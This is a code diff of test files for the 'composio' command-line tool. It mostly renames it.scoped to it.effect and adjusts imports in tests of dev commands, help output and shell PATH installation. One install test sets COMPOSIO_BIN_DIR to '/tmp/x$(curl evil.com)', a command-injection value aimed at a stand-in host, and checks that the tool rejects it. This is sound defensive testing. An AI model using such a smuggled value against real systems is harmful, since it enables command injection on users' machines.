@@ -50,7 +50,7 @@ describe('CLI: composio dev', () => {
50 });
51
52 layer(TestLive({ baseConfigProvider: testConfigProvider }))(it => {
53 - it.scoped('persists mode changes through the config service', () =>
53 + it.effect('persists mode changes through the config service', () =>
54 Effect.gen(function* () {
55 yield* cli(['dev', '--mode', 'off']);
56 yield* cli(['dev', 'init']);
@@ -63,7 +63,7 @@ describe('CLI: composio dev', () => {
63 });
64
65 layer(TestLive({ baseConfigProvider: testConfigProvider }))(it => {
66 - it.scoped('blocks destructive dev commands until config enables them', () =>
66 + it.effect('blocks destructive dev commands until config enables them', () =>
67 Effect.gen(function* () {
68 yield* cli(['dev', 'triggers', 'disable', 'trg_123']);
69 const output = (yield* MockConsole.getLines({ stripAnsi: true })).join('\n');
@@ -80,7 +80,7 @@ describe('CLI: composio dev', () => {
80 cliUserConfig: { developerDangerousCommandsEnabled: true },
81 })
82 )(it => {
83 - it.scoped('requires --dangerously-allow for destructive dev commands', () =>
83 + it.effect('requires --dangerously-allow for destructive dev commands', () =>
84 Effect.gen(function* () {
85 yield* cli(['dev', 'triggers', 'disable', 'trg_123']);
86 const output = (yield* MockConsole.getLines({ stripAnsi: true })).join('\n');
ts/packages/cli/test/src/commands/feature-visibility.test.ts
+3 -6
@@ -1,6 +1,5 @@
1 -import { CommandDescriptor } from '@effect/cli';
1 import { layer } from '@effect/vitest';
3 -import { Effect, HashMap } from 'effect';
2 +import { Effect } from 'effect';
3 import { describe, expect, it } from 'vitest';
4 import { buildRootCommand } from 'src/commands';
5 import {
@@ -22,9 +21,7 @@ const betaVisibility = {
21 };
22
23 const getSubcommandNames = (visibility: typeof stableVisibility) =>
25 - HashMap.toEntries(CommandDescriptor.getSubcommands(buildRootCommand(visibility).descriptor)).map(
26 - ([name]) => name
27 - );
24 + buildRootCommand(visibility).subcommands.flatMap(group => group.commands.map(cmd => cmd.name));
25
26 describe('CLI experimental feature visibility', () => {
27 it('hides experimental root commands from the stable root command graph', () => {
@@ -79,7 +76,7 @@ describe('CLI experimental feature visibility', () => {
76
77 describe('CLI help levels', () => {
78 layer(TestLive())(it => {
82 - it.scoped('renders compact subcommand help in simple mode', () =>
79 + it.effect('renders compact subcommand help in simple mode', () =>
80 Effect.gen(function* () {
81 yield* printSubcommandHelp('run', stableVisibility, 'simple');
82 const output = (yield* MockConsole.getLines({ stripAnsi: true })).join('\n');
ts/packages/cli/test/src/commands/generate.cmd.test.ts
+8 -8
@@ -1,7 +1,7 @@
1 import path from 'node:path';
2 import { describe, expect, layer } from '@effect/vitest';
3 import { Effect } from 'effect';
4 -import * as FileSystem from '@effect/platform/FileSystem';
4 +import * as FileSystem from 'effect/FileSystem';
5 import { NodeProcess } from 'src/services/node-process';
6 import { cli, TestLive, MockConsole } from 'test/__utils__';
7 import { makeTestToolkits } from 'test/__utils__/models/toolkits';
@@ -31,7 +31,7 @@ describe('CLI: composio generate', () => {
31 fixture: 'python-project',
32 })
33 )(it => {
34 - it.scoped('[Given] a valid Python project in cwd [Then] it detects its language', () =>
34 + it.effect('[Given] a valid Python project in cwd [Then] it detects its language', () =>
35 Effect.gen(function* () {
36 const process = yield* NodeProcess;
37 const cwd = process.cwd;
@@ -50,7 +50,7 @@ describe('CLI: composio generate', () => {
50 fixture: 'typescript-project',
51 })
52 )(it => {
53 - it.scoped('[Given] a valid TypeScript project in cwd [Then] it detects its language', () =>
53 + it.effect('[Given] a valid TypeScript project in cwd [Then] it detects its language', () =>
54 Effect.gen(function* () {
55 const process = yield* NodeProcess;
56 const cwd = process.cwd;
@@ -69,7 +69,7 @@ describe('CLI: composio generate', () => {
69 fixture: 'typescript-pnpm-monorepo',
70 })
71 )(it => {
72 - it.scoped('[Given] a pnpm monorepo project in cwd [Then] it detects TypeScript', () =>
72 + it.effect('[Given] a pnpm monorepo project in cwd [Then] it detects TypeScript', () =>
73 Effect.gen(function* () {
74 const process = yield* NodeProcess;
75 const cwd = process.cwd;
@@ -88,7 +88,7 @@ describe('CLI: composio generate', () => {
88 fixture: 'typescript-bun-project',
89 })
90 )(it => {
91 - it.scoped('[Given] a bun project in cwd [Then] it detects TypeScript', () =>
91 + it.effect('[Given] a bun project in cwd [Then] it detects TypeScript', () =>
92 Effect.gen(function* () {
93 const process = yield* NodeProcess;
94 const cwd = process.cwd;
@@ -107,7 +107,7 @@ describe('CLI: composio generate', () => {
107 fixture: 'python-uv-project',
108 })
109 )(it => {
110 - it.scoped('[Given] a uv Python project in cwd [Then] it detects Python', () =>
110 + it.effect('[Given] a uv Python project in cwd [Then] it detects Python', () =>
111 Effect.gen(function* () {
112 const process = yield* NodeProcess;
113 const cwd = process.cwd;
@@ -127,7 +127,7 @@ describe('CLI: composio generate', () => {
127 toolkitsData: appClientData,
128 })
129 )(it => {
130 - it.scoped(
130 + it.effect(
131 '[Given] TypeScript project with --toolkits [Then] it filters output to specified toolkits',
132 () =>
133 Effect.gen(function* () {
@@ -159,7 +159,7 @@ describe('CLI: composio generate', () => {
159 toolkitsData: appClientData,
160 })
161 )(it => {
162 - it.scoped(
162 + it.effect(
163 '[Given] Python project with --toolkits [Then] it filters output to specified toolkits',
164 () =>
165 Effect.gen(function* () {
ts/packages/cli/test/src/commands/init.cmd.test.ts
+1 -1
@@ -5,7 +5,7 @@ import { cli, TestLive, MockConsole } from 'test/__utils__';
5 describe('CLI: composio dev init', () => {
6 describe('dev init --help', () => {
7 layer(TestLive({ fixture: 'typescript-project' }))(it => {
8 - it.scoped('[Then] shows --no-browser and --yes, no --org-id or --project-id', () =>
8 + it.effect('[Then] shows --no-browser and --yes, no --org-id or --project-id', () =>
9 Effect.gen(function* () {
10 yield* cli(['dev', 'init', '--help']);
11 const lines = yield* MockConsole.getLines({ stripAnsi: true });
ts/packages/cli/test/src/commands/install.cmd.test.ts
+62 -61
@@ -2,8 +2,8 @@ import path from 'node:path';
2 import { Writable } from 'node:stream';
3 import { beforeEach, vi } from 'vitest';
4 import { describe, expect, layer } from '@effect/vitest';
5 -import { ConfigProvider, Effect, Exit } from 'effect';
6 -import * as FileSystem from '@effect/platform/FileSystem';
5 +import { Effect, Exit } from 'effect';
6 +import * as FileSystem from 'effect/FileSystem';
7 import { NodeOs } from 'src/services/node-os';
8 import {
9 installShellIntegration,
@@ -13,6 +13,7 @@ import {
13 import { makeTerminalUI } from 'src/services/terminal-ui';
14 import { extendConfigProvider } from 'src/services/config';
15 import { cli, TestLive, MockConsole } from 'test/__utils__';
16 +import { liveEnvConfigProvider } from 'test/__utils__/live-env-config-provider';
17
18 const makeSink = (isTTY: boolean) => {
19 const chunks: string[] = [];
@@ -42,7 +43,7 @@ const TEST_EXEC_PATH = '/usr/local/bin/composio';
43 const expectedRuntimeBinDir = (): string => path.dirname(TEST_EXEC_PATH);
44 const InstallTestLive = (input: Parameters<typeof TestLive>[0] = {}) =>
45 TestLive({
45 - baseConfigProvider: ConfigProvider.fromEnv().pipe(extendConfigProvider),
46 + baseConfigProvider: liveEnvConfigProvider.pipe(extendConfigProvider),
47 execPath: TEST_EXEC_PATH,
48 ...input,
49 });
@@ -66,7 +67,7 @@ const expectNoTmpLitter = (fs: FileSystem.FileSystem, targetPath: string) =>
67 });
68
69 // NOTE: `@effect/vitest`'s `layer(...)` builds one shared TestLive instance
69 -// (home dir, MockConsole buffer, etc.) for every `it.scoped` nested inside a
70 +// (home dir, MockConsole buffer, etc.) for every `it.effect` nested inside a
71 // single call. Sharing is only safe when a later test doesn't read state a
72 // prior test mutated (MockConsole output, rc files under the shared home
73 // dir) — so each independent scenario below gets its own `layer(...)` call,
@@ -88,7 +89,7 @@ describe('CLI: composio install', () => {
89
90 describe('[When] shell is zsh', () => {
91 layer(InstallTestLive())(it => {
91 - it.scoped('[Then] creates .zshrc with PATH only by default', () =>
92 + it.effect('[Then] creates .zshrc with PATH only by default', () =>
93 Effect.gen(function* () {
94 const os = yield* NodeOs;
95 vi.stubEnv('SHELL', '/bin/zsh');
@@ -118,7 +119,7 @@ describe('CLI: composio install', () => {
119 })
120 );
121
121 - it.scoped('[Then] preserves a symlinked .zshrc', () =>
122 + it.effect('[Then] preserves a symlinked .zshrc', () =>
123 Effect.gen(function* () {
124 const os = yield* NodeOs;
125 const fs = yield* FileSystem.FileSystem;
@@ -143,7 +144,7 @@ describe('CLI: composio install', () => {
144
145 describe('[When] shell is bash', () => {
146 layer(InstallTestLive())(it => {
146 - it.scoped('[Then] creates .bashrc with PATH only by default', () =>
147 + it.effect('[Then] creates .bashrc with PATH only by default', () =>
148 Effect.gen(function* () {
149 const os = yield* NodeOs;
150 vi.stubEnv('SHELL', '/bin/bash');
@@ -168,7 +169,7 @@ describe('CLI: composio install', () => {
169 layer(InstallTestLive())(it => {
170 // A login bash (macOS Terminal.app's default) never reads .bashrc, so
171 // the PATH block only reaches it through a created .bash_profile.
171 - it.scoped('[Then] .bash_profile is created alongside .bashrc', () =>
172 + it.effect('[Then] .bash_profile is created alongside .bashrc', () =>
173 Effect.gen(function* () {
174 const os = yield* NodeOs;
175 vi.stubEnv('SHELL', '/bin/bash');
@@ -193,7 +194,7 @@ describe('CLI: composio install', () => {
194
195 describe('[When] bash has no login file but an existing ~/.profile', () => {
196 layer(InstallTestLive())(it => {
196 - it.scoped('[Then] the created .bash_profile sources ~/.profile, which stays untouched', () =>
197 + it.effect('[Then] the created .bash_profile sources ~/.profile, which stays untouched', () =>
198 Effect.gen(function* () {
199 const os = yield* NodeOs;
200 const fs = yield* FileSystem.FileSystem;
@@ -222,7 +223,7 @@ describe('CLI: composio install', () => {
223
224 describe('[When] bash has an existing .bash_profile', () => {
225 layer(InstallTestLive())(it => {
225 - it.scoped(
226 + it.effect(
227 '[Then] the PATH block also lands in .bash_profile, and the restart hint mentions it',
228 () =>
229 Effect.gen(function* () {
@@ -253,7 +254,7 @@ describe('CLI: composio install', () => {
254
255 describe('[When] bash updates a private .bash_profile', () => {
256 layer(InstallTestLive())(it => {
256 - it.scoped('[Then] preserves its existing file mode', () =>
257 + it.effect('[Then] preserves its existing file mode', () =>
258 Effect.gen(function* () {
259 const os = yield* NodeOs;
260 const fs = yield* FileSystem.FileSystem;
@@ -275,7 +276,7 @@ describe('CLI: composio install', () => {
276
277 describe('[When] bash has only .bash_login (no .bash_profile)', () => {
278 layer(InstallTestLive())(it => {
278 - it.scoped('[Then] the PATH block also lands in .bash_login', () =>
279 + it.effect('[Then] the PATH block also lands in .bash_login', () =>
280 Effect.gen(function* () {
281 const os = yield* NodeOs;
282 const fs = yield* FileSystem.FileSystem;
@@ -303,7 +304,7 @@ describe('CLI: composio install', () => {
304
305 describe('[When] bash has both .bash_profile and .bash_login', () => {
306 layer(InstallTestLive())(it => {
306 - it.scoped('[Then] only .bash_profile receives the login PATH block', () =>
307 + it.effect('[Then] only .bash_profile receives the login PATH block', () =>
308 Effect.gen(function* () {
309 const os = yield* NodeOs;
310 const fs = yield* FileSystem.FileSystem;
@@ -327,7 +328,7 @@ describe('CLI: composio install', () => {
328
329 describe('[When] .bash_profile is symlinked to the same file as .bashrc', () => {
330 layer(InstallTestLive())(it => {
330 - it.scoped('[Then] the PATH block is written exactly once, not once per alias', () =>
331 + it.effect('[Then] the PATH block is written exactly once, not once per alias', () =>
332 Effect.gen(function* () {
333 const os = yield* NodeOs;
334 const fs = yield* FileSystem.FileSystem;
@@ -353,7 +354,7 @@ describe('CLI: composio install', () => {
354
355 describe('[When] shell is fish', () => {
356 layer(InstallTestLive())(it => {
356 - it.scoped('[Then] creates config.fish with PATH only by default', () =>
357 + it.effect('[Then] creates config.fish with PATH only by default', () =>
358 Effect.gen(function* () {
359 const os = yield* NodeOs;
360 vi.stubEnv('SHELL', '/usr/bin/fish');
@@ -375,7 +376,7 @@ describe('CLI: composio install', () => {
376
377 describe('[When] --completions is passed', () => {
378 layer(InstallTestLive())(it => {
378 - it.scoped('[Then] writes PATH block and installs completions', () =>
379 + it.effect('[Then] writes PATH block and installs completions', () =>
380 Effect.gen(function* () {
381 const os = yield* NodeOs;
382 vi.stubEnv('SHELL', '/bin/bash');
@@ -399,7 +400,7 @@ describe('CLI: composio install', () => {
400
401 describe('[When] fish shell installs completions', () => {
402 layer(InstallTestLive())(it => {
402 - it.scoped(
403 + it.effect(
404 '[Then] keeps PATH setup in config.fish and writes completions to composio.fish',
405 () =>
406 Effect.gen(function* () {
@@ -439,7 +440,7 @@ describe('CLI: composio install', () => {
440
441 describe('[When] fish config and completions are symlinked to the same file', () => {
442 layer(InstallTestLive())(it => {
442 - it.scoped('[Then] keeps both PATH and completions blocks', () =>
443 + it.effect('[Then] keeps both PATH and completions blocks', () =>
444 Effect.gen(function* () {
445 const os = yield* NodeOs;
446 const fs = yield* FileSystem.FileSystem;
@@ -475,7 +476,7 @@ describe('CLI: composio install', () => {
476
477 describe('[When] fish shell installs completions twice', () => {
478 layer(InstallTestLive())(it => {
478 - it.scoped('[Then] keeps config.fish and composio.fish idempotent', () =>
479 + it.effect('[Then] keeps config.fish and composio.fish idempotent', () =>
480 Effect.gen(function* () {
481 const os = yield* NodeOs;
482 vi.stubEnv('SHELL', '/usr/bin/fish');
@@ -511,7 +512,7 @@ describe('CLI: composio install', () => {
512
513 describe('[When] --no-completions is passed', () => {
514 layer(InstallTestLive())(it => {
514 - it.scoped('[Then] writes PATH block but skips completions', () =>
515 + it.effect('[Then] writes PATH block but skips completions', () =>
516 Effect.gen(function* () {
517 const os = yield* NodeOs;
518 vi.stubEnv('SHELL', '/bin/zsh');
@@ -535,7 +536,7 @@ describe('CLI: composio install', () => {
536
537 describe('[When] install is run twice (idempotency)', () => {
538 layer(InstallTestLive())(it => {
538 - it.scoped('[Then] does not duplicate entries', () =>
539 + it.effect('[Then] does not duplicate entries', () =>
540 Effect.gen(function* () {
541 const os = yield* NodeOs;
542 vi.stubEnv('SHELL', '/bin/bash');
@@ -562,7 +563,7 @@ describe('CLI: composio install', () => {
563
564 describe('[When] .zshrc already has a managed block recording the current bin dir', () => {
565 layer(InstallTestLive())(it => {
565 - it.scoped('[Then] reports already configured and leaves the file byte-identical', () =>
566 + it.effect('[Then] reports already configured and leaves the file byte-identical', () =>
567 Effect.gen(function* () {
568 const os = yield* NodeOs;
569 const fs = yield* FileSystem.FileSystem;
@@ -593,7 +594,7 @@ describe('CLI: composio install', () => {
594
595 describe('[When] the managed PATH block records a stale bin dir', () => {
596 layer(InstallTestLive())(it => {
596 - it.scoped('[Then] replaces only the managed block and keeps unmanaged content', () =>
597 + it.effect('[Then] replaces only the managed block and keeps unmanaged content', () =>
598 Effect.gen(function* () {
599 const os = yield* NodeOs;
600 const fs = yield* FileSystem.FileSystem;
@@ -625,7 +626,7 @@ describe('CLI: composio install', () => {
626
627 describe('[When] duplicate managed PATH blocks exist in one file', () => {
628 layer(InstallTestLive())(it => {
628 - it.scoped('[Then] they collapse into a single current block', () =>
629 + it.effect('[Then] they collapse into a single current block', () =>
630 Effect.gen(function* () {
631 const os = yield* NodeOs;
632 const fs = yield* FileSystem.FileSystem;
@@ -652,7 +653,7 @@ describe('CLI: composio install', () => {
653
654 describe('[When] a user comment sits between the managed marker and the stale export', () => {
655 layer(InstallTestLive())(it => {
655 - it.scoped('[Then] the comment survives and the fresh assignment wins PATH precedence', () =>
656 + it.effect('[Then] the comment survives and the fresh assignment wins PATH precedence', () =>
657 Effect.gen(function* () {
658 const os = yield* NodeOs;
659 const fs = yield* FileSystem.FileSystem;
@@ -688,7 +689,7 @@ describe('CLI: composio install', () => {
689
690 describe('[When] a blank line sits between the managed marker and the stale export', () => {
691 layer(InstallTestLive())(it => {
691 - it.scoped('[Then] nothing but the marker is removed and the fresh assignment wins', () =>
692 + it.effect('[Then] nothing but the marker is removed and the fresh assignment wins', () =>
693 Effect.gen(function* () {
694 const os = yield* NodeOs;
695 const fs = yield* FileSystem.FileSystem;
@@ -719,7 +720,7 @@ describe('CLI: composio install', () => {
720
721 describe('[When] an rc file carries the legacy install.sh managed block', () => {
722 layer(InstallTestLive())(it => {
722 - it.scoped('[Then] the legacy pair is migrated, not left behind or duplicated', () =>
723 + it.effect('[Then] the legacy pair is migrated, not left behind or duplicated', () =>
724 Effect.gen(function* () {
725 const os = yield* NodeOs;
726 const fs = yield* FileSystem.FileSystem;
@@ -760,7 +761,7 @@ describe('CLI: composio install', () => {
761
762 describe('[When] a legacy block sits above an existing completions block', () => {
763 layer(InstallTestLive())(it => {
763 - it.scoped('[Then] migrating the PATH block leaves the completions block intact', () =>
764 + it.effect('[Then] migrating the PATH block leaves the completions block intact', () =>
765 Effect.gen(function* () {
766 const os = yield* NodeOs;
767 const fs = yield* FileSystem.FileSystem;
@@ -796,7 +797,7 @@ describe('CLI: composio install', () => {
797
798 describe('[When] a migrated rc file is installed into a second time', () => {
799 layer(InstallTestLive())(it => {
799 - it.scoped('[Then] the second run is a no-op', () =>
800 + it.effect('[Then] the second run is a no-op', () =>
801 Effect.gen(function* () {
802 const os = yield* NodeOs;
803 const fs = yield* FileSystem.FileSystem;
@@ -822,7 +823,7 @@ describe('CLI: composio install', () => {
823
824 describe('[When] .bashrc and .bash_profile alias one physical file with a stale managed block', () => {
825 layer(InstallTestLive())(it => {
825 - it.scoped('[Then] the physical file ends with exactly one current block', () =>
826 + it.effect('[Then] the physical file ends with exactly one current block', () =>
827 Effect.gen(function* () {
828 const os = yield* NodeOs;
829 const fs = yield* FileSystem.FileSystem;
@@ -859,7 +860,7 @@ describe('CLI: composio install', () => {
860
861 describe('[When] the atomic write cannot replace the target file', () => {
862 layer(InstallTestLive())(it => {
862 - it.scoped('[Then] the error propagates and no .composio-tmp file is left behind', () =>
863 + it.effect('[Then] the error propagates and no .composio-tmp file is left behind', () =>
864 Effect.gen(function* () {
865 const os = yield* NodeOs;
866 const fs = yield* FileSystem.FileSystem;
@@ -882,7 +883,7 @@ describe('CLI: composio install', () => {
883
884 describe('[When] COMPOSIO_CLI_INVOCATION_ORIGIN=installer delegates shell setup', () => {
885 layer(InstallTestLive())(it => {
885 - it.scoped('[Then] keeps the Updated status line but suppresses the restart hint', () =>
886 + it.effect('[Then] keeps the Updated status line but suppresses the restart hint', () =>
887 Effect.gen(function* () {
888 vi.stubEnv('SHELL', '/bin/zsh');
889 vi.stubEnv('COMPOSIO_CLI_INVOCATION_ORIGIN', 'installer');
@@ -900,7 +901,7 @@ describe('CLI: composio install', () => {
901
902 describe('[When] COMPOSIO_CLI_INVOCATION_ORIGIN=installer and integration is already current', () => {
903 layer(InstallTestLive())(it => {
903 - it.scoped('[Then] keeps the already-current status line', () =>
904 + it.effect('[Then] keeps the already-current status line', () =>
905 Effect.gen(function* () {
906 const os = yield* NodeOs;
907 const fs = yield* FileSystem.FileSystem;
@@ -926,7 +927,7 @@ describe('CLI: composio install', () => {
927
928 describe('[When] COMPOSIO_CLI_INVOCATION_ORIGIN has a non-installer value', () => {
929 layer(InstallTestLive())(it => {
929 - it.scoped('[Then] the restart hint still prints', () =>
930 + it.effect('[Then] the restart hint still prints', () =>
931 Effect.gen(function* () {
932 vi.stubEnv('SHELL', '/bin/zsh');
933 vi.stubEnv('COMPOSIO_CLI_INVOCATION_ORIGIN', 'agent');
@@ -944,7 +945,7 @@ describe('CLI: composio install', () => {
945
946 describe('[When] shell cannot be detected', () => {
947 layer(InstallTestLive())(it => {
947 - it.scoped('[Then] shows manual setup instructions', () =>
948 + it.effect('[Then] shows manual setup instructions', () =>
949 Effect.gen(function* () {
950 vi.stubEnv('SHELL', '');
951 const expectedBinDir = expectedRuntimeBinDir();
@@ -964,7 +965,7 @@ describe('CLI: composio install', () => {
965
966 describe('[When] shell cannot be detected but the bin dir is already on $PATH', () => {
967 layer(InstallTestLive())(it => {
967 - it.scoped('[Then] reports already on PATH instead of asking for manual setup', () =>
968 + it.effect('[Then] reports already on PATH instead of asking for manual setup', () =>
969 Effect.gen(function* () {
970 const os = yield* NodeOs;
971 vi.stubEnv('SHELL', '');
@@ -989,7 +990,7 @@ describe('CLI: composio install', () => {
990
991 describe('[When] stderr is captured rather than a terminal', () => {
992 layer(InstallTestLive({ terminalUI: capturedStderrUI }))(it => {
992 - it.scoped('[Then] still reports the rc file and how to reload the shell', () =>
993 + it.effect('[Then] still reports the rc file and how to reload the shell', () =>
994 Effect.gen(function* () {
995 vi.stubEnv('SHELL', '/bin/zsh');
996
@@ -1003,7 +1004,7 @@ describe('CLI: composio install', () => {
1004 })
1005 );
1006
1006 - it.scoped('[Then] still shows manual setup instructions for an unknown shell', () =>
1007 + it.effect('[Then] still shows manual setup instructions for an unknown shell', () =>
1008 Effect.gen(function* () {
1009 vi.stubEnv('SHELL', '');
1010 const expectedBinDir = expectedRuntimeBinDir();
@@ -1020,7 +1021,7 @@ describe('CLI: composio install', () => {
1021
1022 describe('[When] --shell zsh overrides a conflicting $SHELL', () => {
1023 layer(InstallTestLive())(it => {
1023 - it.scoped('[Then] writes ~/.zshrc, not ~/.bashrc', () =>
1024 + it.effect('[Then] writes ~/.zshrc, not ~/.bashrc', () =>
1025 Effect.gen(function* () {
1026 const os = yield* NodeOs;
1027 vi.stubEnv('SHELL', '/bin/bash');
@@ -1037,7 +1038,7 @@ describe('CLI: composio install', () => {
1038
1039 describe('[When] --shell is parsed by the public CLI', () => {
1040 layer(InstallTestLive())(it => {
1040 - it.scoped('[Then] a valid override reaches the requested shell integration', () =>
1041 + it.effect('[Then] a valid override reaches the requested shell integration', () =>
1042 Effect.gen(function* () {
1043 const os = yield* NodeOs;
1044 const fs = yield* FileSystem.FileSystem;
@@ -1054,7 +1055,7 @@ describe('CLI: composio install', () => {
1055
1056 describe('[When] --shell has an unsupported value', () => {
1057 layer(InstallTestLive())(it => {
1057 - it.scoped('[Then] the public CLI rejects it during option parsing', () =>
1058 + it.effect('[Then] the public CLI rejects it during option parsing', () =>
1059 Effect.gen(function* () {
1060 const exit = yield* cli(['install', '--shell', 'powershell']).pipe(Effect.exit);
1061 expect(Exit.isFailure(exit)).toBe(true);
@@ -1065,7 +1066,7 @@ describe('CLI: composio install', () => {
1066
1067 describe('[When] both completion flags are parsed by the public CLI', () => {
1068 layer(InstallTestLive())(it => {
1068 - it.scoped('[Then] --no-completions takes precedence', () =>
1069 + it.effect('[Then] --no-completions takes precedence', () =>
1070 Effect.gen(function* () {
1071 const os = yield* NodeOs;
1072 const fs = yield* FileSystem.FileSystem;
@@ -1083,7 +1084,7 @@ describe('CLI: composio install', () => {
1084
1085 describe('[When] --shell and --completions are combined on the public CLI', () => {
1086 layer(InstallTestLive())(it => {
1086 - it.scoped('[Then] the overridden shell gets both the PATH block and completions', () =>
1087 + it.effect('[Then] the overridden shell gets both the PATH block and completions', () =>
1088 Effect.gen(function* () {
1089 const os = yield* NodeOs;
1090 const fs = yield* FileSystem.FileSystem;
@@ -1103,7 +1104,7 @@ describe('CLI: composio install', () => {
1104
1105 describe('[When] --shell bash overrides a conflicting $SHELL', () => {
1106 layer(InstallTestLive())(it => {
1106 - it.scoped('[Then] writes ~/.bashrc, not ~/.zshrc', () =>
1107 + it.effect('[Then] writes ~/.bashrc, not ~/.zshrc', () =>
1108 Effect.gen(function* () {
1109 const os = yield* NodeOs;
1110 vi.stubEnv('SHELL', '/bin/zsh');
@@ -1120,7 +1121,7 @@ describe('CLI: composio install', () => {
1121
1122 describe('[When] --shell fish is passed with $SHELL unset', () => {
1123 layer(InstallTestLive())(it => {
1123 - it.scoped('[Then] writes config.fish', () =>
1124 + it.effect('[Then] writes config.fish', () =>
1125 Effect.gen(function* () {
1126 const os = yield* NodeOs;
1127 vi.stubEnv('SHELL', '');
@@ -1137,7 +1138,7 @@ describe('CLI: composio install', () => {
1138
1139 describe('[When] --shell is explicit and the bin dir is already on the invoking $PATH', () => {
1140 layer(InstallTestLive())(it => {
1140 - it.scoped('[Then] still writes the requested shell, and re-running stays idempotent', () =>
1141 + it.effect('[Then] still writes the requested shell, and re-running stays idempotent', () =>
1142 Effect.gen(function* () {
1143 const os = yield* NodeOs;
1144 vi.stubEnv('SHELL', '/bin/bash');
@@ -1158,7 +1159,7 @@ describe('CLI: composio install', () => {
1159
1160 describe('[When] auto-detected shell has its bin dir already on the invoking $PATH', () => {
1161 layer(InstallTestLive())(it => {
1161 - it.scoped('[Then] the rc file is still written, since a transient $PATH proves nothing', () =>
1162 + it.effect('[Then] the rc file is still written, since a transient $PATH proves nothing', () =>
1163 Effect.gen(function* () {
1164 const os = yield* NodeOs;
1165 vi.stubEnv('SHELL', '/bin/zsh');
@@ -1182,7 +1183,7 @@ describe('CLI: composio install', () => {
1183
1184 describe('[When] a new .bash_profile appears after .bashrc was already configured', () => {
1185 layer(InstallTestLive())(it => {
1185 - it.scoped('[Then] the new .bash_profile gets the PATH block and .bashrc is left alone', () =>
1186 + it.effect('[Then] the new .bash_profile gets the PATH block and .bashrc is left alone', () =>
1187 Effect.gen(function* () {
1188 const os = yield* NodeOs;
1189 const fs = yield* FileSystem.FileSystem;
@@ -1213,7 +1214,7 @@ describe('CLI: composio install', () => {
1214
1215 describe('[When] COMPOSIO_BIN_DIR is set to a custom directory', () => {
1216 layer(InstallTestLive())(it => {
1216 - it.scoped('[Then] --shell zsh writes a PATH line for the custom directory', () =>
1217 + it.effect('[Then] --shell zsh writes a PATH line for the custom directory', () =>
1218 Effect.gen(function* () {
1219 const os = yield* NodeOs;
1220 vi.stubEnv('SHELL', '/bin/bash');
@@ -1232,7 +1233,7 @@ describe('CLI: composio install', () => {
1233
1234 describe('[When] COMPOSIO_BIN_DIR is whitespace-only', () => {
1235 layer(InstallTestLive())(it => {
1235 - it.scoped('[Then] it is treated as unset, not as a literal bin dir', () =>
1236 + it.effect('[Then] it is treated as unset, not as a literal bin dir', () =>
1237 Effect.gen(function* () {
1238 const os = yield* NodeOs;
1239 vi.stubEnv('SHELL', '/bin/zsh');
@@ -1251,7 +1252,7 @@ describe('CLI: composio install', () => {
1252
1253 describe('[When] COMPOSIO_BIN_DIR has surrounding whitespace around a real value', () => {
1254 layer(InstallTestLive())(it => {
1254 - it.scoped('[Then] the surrounding whitespace is trimmed before it is used', () =>
1255 + it.effect('[Then] the surrounding whitespace is trimmed before it is used', () =>
1256 Effect.gen(function* () {
1257 const os = yield* NodeOs;
1258 vi.stubEnv('SHELL', '/bin/zsh');
@@ -1269,7 +1270,7 @@ describe('CLI: composio install', () => {
1270
1271 describe('[When] COMPOSIO_BIN_DIR is unset and ~/.local/bin/composio is the running executable', () => {
1272 layer(TestLive({ execPath: '.local/bin/composio' }))(it => {
1272 - it.scoped('[Then] the PATH line targets ~/.local/bin via a literal $HOME prefix', () =>
1273 + it.effect('[Then] the PATH line targets ~/.local/bin via a literal $HOME prefix', () =>
1274 Effect.gen(function* () {
1275 const os = yield* NodeOs;
1276 const fs = yield* FileSystem.FileSystem;
@@ -1292,7 +1293,7 @@ describe('CLI: composio install', () => {
1293
1294 describe('[When] ~/.local/bin/composio is a symlink chain to the running executable', () => {
1295 layer(TestLive({ execPath: '.composio-dist/composio' }))(it => {
1295 - it.scoped('[Then] the PATH line still targets ~/.local/bin', () =>
1296 + it.effect('[Then] the PATH line still targets ~/.local/bin', () =>
1297 Effect.gen(function* () {
1298 const os = yield* NodeOs;
1299 const fs = yield* FileSystem.FileSystem;
@@ -1319,7 +1320,7 @@ describe('CLI: composio install', () => {
1320
1321 describe('[When] ~/.local/bin/composio is a foreign program (e.g. a leftover pip install)', () => {
1322 layer(InstallTestLive())(it => {
1322 - it.scoped('[Then] the PATH line targets the running executable directory instead', () =>
1323 + it.effect('[Then] the PATH line targets the running executable directory instead', () =>
1324 Effect.gen(function* () {
1325 const os = yield* NodeOs;
1326 const fs = yield* FileSystem.FileSystem;
@@ -1342,7 +1343,7 @@ describe('CLI: composio install', () => {
1343
1344 describe('[When] COMPOSIO_BIN_DIR is set and ~/.local/bin/composio is also the running executable', () => {
1345 layer(InstallTestLive({ execPath: '.local/bin/composio' }))(it => {
1345 - it.scoped('[Then] the env var wins over the ~/.local/bin fallback', () =>
1346 + it.effect('[Then] the env var wins over the ~/.local/bin fallback', () =>
1347 Effect.gen(function* () {
1348 const os = yield* NodeOs;
1349 const fs = yield* FileSystem.FileSystem;
@@ -1366,7 +1367,7 @@ describe('CLI: composio install', () => {
1367
1368 describe('[When] COMPOSIO_BIN_DIR is unset and ~/.local/bin has no composio entry point', () => {
1369 layer(InstallTestLive())(it => {
1369 - it.scoped('[Then] the PATH line targets the real binary directory', () =>
1370 + it.effect('[Then] the PATH line targets the real binary directory', () =>
1371 Effect.gen(function* () {
1372 const os = yield* NodeOs;
1373 vi.stubEnv('SHELL', '/bin/zsh');
@@ -1384,7 +1385,7 @@ describe('CLI: composio install', () => {
1385
1386 describe('[When] COMPOSIO_BIN_DIR contains characters that expand inside double quotes', () => {
1387 layer(InstallTestLive())(it => {
1387 - it.scoped('[Then] aborts with an error', () =>
1388 + it.effect('[Then] aborts with an error', () =>
1389 Effect.gen(function* () {
1390 vi.stubEnv('SHELL', '/bin/zsh');
1391 vi.stubEnv('COMPOSIO_BIN_DIR', '/tmp/x$(curl evil.com)');
@@ -1404,7 +1405,7 @@ describe('CLI: composio install', () => {
1405
1406 describe('[When] COMPOSIO_BIN_DIR is relative', () => {
1407 layer(InstallTestLive())(it => {
1407 - it.scoped('[Then] aborts instead of persisting a relative PATH entry', () =>
1408 + it.effect('[Then] aborts instead of persisting a relative PATH entry', () =>
1409 Effect.gen(function* () {
1410 vi.stubEnv('SHELL', '/bin/zsh');
1411 vi.stubEnv('COMPOSIO_BIN_DIR', './bin');
@@ -1422,7 +1423,7 @@ describe('CLI: composio install', () => {
1423
1424 describe('[When] COMPOSIO_BIN_DIR contains a PATH delimiter', () => {
1425 layer(InstallTestLive())(it => {
